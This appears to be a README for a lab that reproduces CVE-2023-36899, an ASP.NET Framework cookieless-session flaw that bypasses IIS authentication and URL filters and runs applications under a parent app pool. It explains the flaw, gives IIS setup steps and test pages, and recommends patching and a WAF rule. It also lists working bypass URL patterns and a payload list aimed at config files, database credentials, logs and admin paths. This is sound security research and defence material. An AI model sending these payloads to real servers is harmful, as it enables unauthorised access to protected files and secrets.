CVE-2023-36899

Reproduction environment and tooling for CVE-2023-36899, a cookieless session authentication bypass in the ASP.NET framework.

Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899)

In modern web development, despite cookies being the preferred method for transmitting session IDs, the .NET Framework also offers an alternative: encoding the session ID directly in the URL. This technique is known as the "cookieless" feature in .NET Framework. Many developers and security testers overlook this option because it is rarely used in practice. However, it has become a treasure trove for discovering client-side vulnerabilities such as session fixation, session hijacking, HTML injection, and cross-site scripting. Additionally, this feature can be exploited to bypass path-based firewall rules that are not configured to recognize cookieless methods. Due to inherent security concerns, .NET Core and subsequent .NET versions have omitted the cookieless feature. But we must not forget the vast number of web applications still using the classic .NET Framework.

Key Points:

1. The .NET Framework's cookieless feature can be abused to access protected directories or directories blocked by IIS URL filters.
2. By using the cookieless feature, IIS authentication or filtering checks can be bypassed.
3. Another issue involves how IIS manages application pools, potentially leading to privilege escalation or security bypass.
4. Through the .NET Framework's cookieless feature, an IIS application can be forced to run under its parent application pool instead of its own.

Vulnerability Details:

1. IIS Restricted Path Bypass

The .NET Framework's cookieless feature can be abused to access protected directories or directories blocked by IIS URL filters. For example, consider the following scenario on a victim.com website:

• A page located in the /protected/ directory: /webform/protected/target1.aspx, which enforces basic authentication.
• A page temporarily moved to the /bin/ folder: /webform/bin/target2.aspx, making it inaccessible.

Under normal circumstances, accessing these pages via these URLs is blocked in IIS:

• http://10.0.2.15:8080/webform/protected/target1.aspx
• http://10.0.2.15:8080/webform/bin/target2.aspx

However, the cookieless feature can be used to access these pages via the following patterns:

• http://10.0.2.15:8080/webform/(S(X))/prot/(S(X))ected/target1.aspx
• http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target2.aspx

2. Application Pool Confusion

How IIS manages application pools can lead to privilege escalation or security bypass. The .NET Framework's cookieless feature can be manipulated to force an IIS application to run under its parent application pool instead of its own. For example:

• The site root (/) runs under the DefaultAppPool application pool.
• The /classic/ application uses the .NET v4.5 Classic application pool.
• The /classic/nodotnet/ application uses the NoManagedCodeClassic application pool, which does not support managed code.

A C# file named AppPoolPrint.aspx is accessible in all the above applications and displays the current application pool name. By using the cookieless feature twice, we can run this page under its parent application pool:

• /(S(X))/(S(X))/classic/AppPoolPrint.aspx -> DefaultAppPool
• /(S(X))/(S(X))/classic/nodotnet/AppPoolPrint.aspx -> DefaultAppPool
• /classic/(S(X))/(S(X))/nodotnet/AppPoolPrint.aspx -> .NET v4.5 Classic

This allows pages even in /classic/nodotnet/ (which should not execute managed code) to run ASPX pages using their parent application pool. This behavior can lead to privilege escalation on IIS.

Vulnerability Reproduction:

1. Environment Preparation:

• Operating System: Install a Windows Server version, e.g., Windows Server 2016 or 2019.
• Web Server: Install Internet Information Services (IIS).
• Development Framework: Install .NET Framework (not .NET Core or .NET 5+).

When installing IIS, select:

• Web Server:
  • Common HTTP Features:
    • Static Content
    • Default Document
    • Directory Browsing
    • HTTP Errors
  • Application Development:
    • .NET Extensibility (corresponding to your .NET Framework version: 4.5)
    • ASP.NET (corresponding to your .NET Framework version: 4.5)
    • ISAPI Extensions
    • ISAPI Filters
• Health and Diagnostics:
  • HTTP Logging
  • Request Monitor
  • Logging Tools
• Security:
  • Request Filtering
  • Basic Authentication
  • Windows Authentication

2. Configure IIS:

1. Open IIS Manager.
2. Create a new Web site.
3. In the new site, create several directories, e.g., /webform, /webform/protected, and /webform/bin.
4. In the /protected/ directory, set up basic authentication.
5. Move the /webform/bin/target.aspx page to the /bin/ folder so it is not directly accessible. (The bin directory is not accessible by default in IIS because it contains sensitive compiled programs.)

3. Create Test Pages:

1. In the /webform/protected/ directory, create a page named target.aspx.
2. In the /webform/bin/ directory, create a page named target.aspx.
3. In each application, create a page named AppPoolPrint.aspx that can display the current application pool name.

target.aspx test content:

<%@ Page Language="C#" %>
    <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ASPX Test</title>
</head>
<body>
    This is a static text. <br>
    Dynamic text: <%= DateTime.Now.ToString() %>
        </body>
</html>

Root directory web.config test content:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web>
        <compilation debug="true" targetFramework="4.5" />
        <httpRuntime targetFramework="4.5" />
        <sessionState mode="InProc" cookieless="UseCookies" />
    </system.web>
</configuration>

Where means the website uses cookies to store some default session information, etc. This is the default setting as well.

4. Reproduce the Vulnerability:

1. Try to directly access /webform/protected/target.aspx and /webform/bin/target.aspx. You should be blocked or prompted for authentication.

Using http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx successfully accessed

2. Use the cookieless feature to attempt to access these pages, for example:
   • https://yourserver/webform/(S(X))/prot/(S(X))ected/target.aspx
   • https://yourserver/webform/(S(X))/b/(S(X))in/target.aspx You should be able to bypass authentication or filters and access these pages.

Fix Recommendations

1. Block the /S(X)) pattern in WAF.
2. Install the appropriate patch on the server: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899

Possible payload list:

/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....

References:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899